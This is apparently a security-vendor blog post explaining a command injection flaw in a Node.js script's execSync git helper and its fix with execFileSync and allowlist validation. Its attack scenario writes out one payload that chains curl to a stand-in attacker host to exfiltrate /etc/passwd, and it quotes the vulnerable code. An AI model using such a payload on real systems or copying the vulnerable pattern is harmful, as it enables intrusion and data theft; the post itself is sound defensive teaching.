Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/pass.js` where git commands were constructed by interpolating unsanitized arguments directly into shell strings passed to `execSync()`. The fix replaces shell-string execution with `execFileSync()` using argument arrays, eliminating the shell interpolation layer entirely, and adds strict input validation for task names before they reach the filesystem or process spawning logic.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `scripts/pass.js` at line 82, where user-controllable input was interpolated into shell command strings passed to `execSync()`. Because `execSync()` invokes a shell to parse the command string, any unsanitized metacharacters in the `args` or `task` variables could allow an attacker to execute arbitrary OS commands. The fix replaces `execSync('git ' + args)` with `execFileSync('git', argArray)`, which passes arguments directly to the process without shell interpretation, and adds a strict allowlist regex (`/^[\w-]+$/`) to validate task names before use.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplaced execSync() with execFileSync() using argument arrays; added strict regex validation for task names
riskArbitrary OS command execution if git args or task names are attacker-controlled
languageJavaScript (Node.js)
root causeexecSync() passes a shell-interpolated string, allowing shell metacharacters in arguments to break out of the intended command
vulnerabilityCommand Injection via child_process (execSync with shell interpolation)

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The scripts/pass.js file orchestrates git operations — but a flaw in its git() helper created a serious security risk

The scripts/pass.js file in this Node.js library handles automation passes: it loads task modules, processes content chunks, and commits results to git. To do so, it defines a small git() helper that wraps execSync. This is a common, convenient pattern — but the way arguments were assembled and passed to execSync opened a command injection path that Semgrep flagged at line 82.


The Vulnerability Explained

What went wrong: shell interpolation of unsanitized arguments

The original git() helper looked like this:

// BEFORE (vulnerable)
const { execSync } = require('child_process');

function git(args, opts = {}) {
  return execSync(`git ${args}`, { cwd: path.join(__dirname, '..'), stdio: 'pipe', ...opts })
    .toString().trim();
}

The function accepted args as a plain string and interpolated it directly into a shell command: `git ${args}`. It was called throughout the file like this:

// BEFORE (vulnerable call sites)
try { git(`rev-parse --verify ${name}`); git(`checkout ${name}`); }
catch { git(`checkout -b ${name}`); }

git(`add "${rel}"`);
const staged = git('diff --cached --name-only');

The core problem: execSync() invokes the system shell (/bin/sh on Unix, cmd.exe on Windows) to parse and execute the command string. That means any shell metacharacters embedded in args or name — such as ;, &&, |, $(...), or backticks — are interpreted by the shell as command separators or substitutions, not as literal argument text.

The loadPass function: a second injection surface

The vulnerability wasn't limited to git(). The loadPass() function used the task parameter to construct a filesystem path and, indirectly, to feed git operations — without any validation:

// BEFORE (no validation)
function loadPass(task) {
  const p = path.join(__dirname, 'passes', `${task}.js`);
  if (!fs.existsSync(p)) {
    console.error(`pass: no module at ${p}`);
    process.exit(1);
  }
  // ...
}

If task contained path traversal sequences (../../) or shell metacharacters, it could reach unintended files or, once fed into git commands, inject shell syntax.

A concrete attack scenario

Consider the ensureBranch(name) function, which calls:

git(`rev-parse --verify ${name}`);
git(`checkout ${name}`);

If name were attacker-controlled and set to:

main; curl https://attacker.example/exfil?data=$(cat /etc/passwd) #

The shell would execute:

git rev-parse --verify main; curl https://attacker.example/exfil?data=$(cat /etc/passwd) #

The second command runs curl with the contents of /etc/passwd as a query parameter — a classic data exfiltration payload. Because this is a Node.js library, the blast radius extends to every downstream consumer that installs this package: any application that calls into this library with externally influenced branch names, task names, or file paths is exposed.


The Fix

The patch makes two targeted, complementary changes that together eliminate the injection surface.

Change 1: Replace execSync with execFileSync and use argument arrays

// AFTER (safe)
const { execSync, execFileSync } = require('child_process');

function git(args, opts = {}) {
  const argArray = typeof args === 'string' ? args.split(' ') : args;
  return execFileSync('git', argArray, { cwd: path.join(__dirname, '..'), stdio: 'pipe', ...opts })
    .toString().trim();
}

execFileSync(file, args) does not invoke a shell. It passes the argument array directly to the OS execve() syscall (or its Windows equivalent), so each element of argArray is treated as a literal argument — shell metacharacters have no special meaning. There is no shell to interpret ; or $().

All call sites were updated to pass arrays instead of interpolated strings:

// AFTER (safe call sites)
try { git(['rev-parse', '--verify', name]); git(['checkout', name]); }
catch { git(['checkout', '-b', name]); }

git(['add', rel]);
const staged = git(['diff', '--cached', '--name-only']);

Note the subtle improvement in commitChunk: the original code wrapped rel in double quotes (`add "${rel}"`) as a manual escaping attempt. With execFileSync, that quoting is unnecessary and has been removed — the argument is passed verbatim.

Change 2: Strict allowlist validation for task names

// AFTER (safe)
function loadPass(task) {
  if (!/^[\w-]+$/.test(task)) {
    console.error(`pass: invalid task name: ${task}`);
    process.exit(2);
  }
  const p = path.join(__dirname, 'passes', `${task}.js`);
  // ...
}

The regex ^[\w-]+$ permits only word characters ([a-zA-Z0-9_]) and hyphens. Any input containing path separators (/, \), shell metacharacters (;, &, |, $, `), or whitespace is rejected immediately with a non-zero exit code. This is a classic allowlist approach: define exactly what is valid and reject everything else, rather than trying to blocklist known-bad characters.

Before vs. After — side by side

Aspect Before After
Execution method execSync('git ' + args) — shell invoked execFileSync('git', argArray) — no shell
Argument handling String interpolation Explicit array elements
Shell metacharacter risk Full exposure Eliminated
Task name validation None Strict ^[\w-]+$ allowlist
Manual quoting needed Yes ("${rel}") No

Prevention & Best Practices

1. Prefer execFileSync / spawnSync over execSync whenever possible

execSync(cmd) is convenient but dangerous with dynamic input. Reserve it for fully static, hardcoded command strings. For anything involving variables, use execFileSync(file, argsArray) or spawnSync(file, argsArray).

// Dangerous — never do this with dynamic input
execSync(`git checkout ${branchName}`);

// Safe — shell never sees branchName
execFileSync('git', ['checkout', branchName]);

2. Validate inputs at the earliest possible point

Apply allowlist validation as close to the source of input as possible — before the value is used in any sensitive operation. The loadPass fix validates task before it touches the filesystem or any process spawning logic.

3. Treat library inputs as untrusted

This package is a Node.js library. Its consumers control the inputs. Even if the current callers are "trusted", future consumers may not be. Library code should be hardened against the full range of possible inputs.

4. Use static analysis in CI

Semgrep's rule javascript.lang.security.detect-child-process.detect-child-process detected this issue automatically. Add Semgrep (or a similar tool like ESLint with eslint-plugin-security) to your CI pipeline to catch these patterns before they reach production.

5. Security standards alignment

  • CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
  • OWASP A03:2021 — Injection: Command injection is a top-tier injection risk
  • OWASP Command Injection Defense Cheat Sheet: recommends avoiding shell invocation entirely and using parameterized APIs

Key Takeaways

  • execSync('git ' + args) in pass.js was the exact exploit primitive: any caller passing a crafted args string containing shell metacharacters could execute arbitrary OS commands.
  • execFileSync with an argument array is the correct Node.js idiom for running subprocesses with dynamic arguments — it eliminates the shell layer entirely, not just sanitizes it.
  • **The manual quoting in git(\add "${rel}"`)was a false sense of security**: double quotes don't protect against all shell injection vectors and were unnecessary onceexecFileSync` was adopted.
  • Allowlist validation (^[\w-]+$) in loadPass provides defense-in-depth: even if a future refactor inadvertently reintroduces a shell call, malformed task names are rejected before they can reach it.
  • Library code has a wider attack surface than application code: downstream consumers of this npm package inherit all its vulnerabilities, making hardening especially important.

How Orbis AppSec Detected This

  • Source: The args parameter of the git() function in scripts/pass.js, and the task parameter of loadPass(), both of which can receive externally influenced values when the library is consumed downstream.
  • Sink: execSync(\git ${args}`)atscripts/pass.js:82— a shell-interpolated command string execution via Node.jschild_process.execSync`.
  • Missing control: No input validation or sanitization was applied to args before shell interpolation; no allowlist check existed for task before it was used in path construction and git operations.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced execSync with execFileSync using an explicit argument array to bypass shell interpretation, and added a strict ^[\w-]+$ allowlist regex to validate task names before use.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in scripts/pass.js is a textbook example of how a small, convenient shortcut — building a shell command string with execSync and template literals — creates a serious security risk when inputs are not fully controlled. The fix is equally instructive: switching to execFileSync with an argument array is not just a patch, it's an architectural improvement that removes the shell from the equation entirely. Combined with strict allowlist validation at the loadPass entry point, the attack surface is meaningfully reduced.

For Node.js developers: treat execSync with dynamic arguments as a code smell. Reach for execFileSync or spawnSync with argument arrays as your default, and validate inputs with allowlists as early as possible. These habits, enforced by static analysis in CI, prevent entire classes of injection vulnerabilities before they ship.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is embedded into a shell command string executed by functions like execSync(). The shell interprets metacharacters (e.g., `;`, `&&`, `|`, `$()`) in the input, allowing attackers to append or substitute arbitrary commands.

How do you prevent command injection in Node.js?

Use execFileSync() or spawnSync() with an explicit argument array instead of execSync() with a template string. These functions bypass the shell entirely, so metacharacters in arguments are treated as literal data, not shell syntax.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input escaping enough to prevent command injection in Node.js?

Escaping is fragile and error-prone — encoding rules differ by shell and context. The robust solution is to avoid the shell entirely by using execFileSync() with an argument array, making escaping unnecessary.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep (rule: javascript.lang.security.detect-child-process.detect-child-process) and ESLint security plugins can flag execSync() calls that include function arguments or template literals, which is exactly how this vulnerability was found.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #9

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.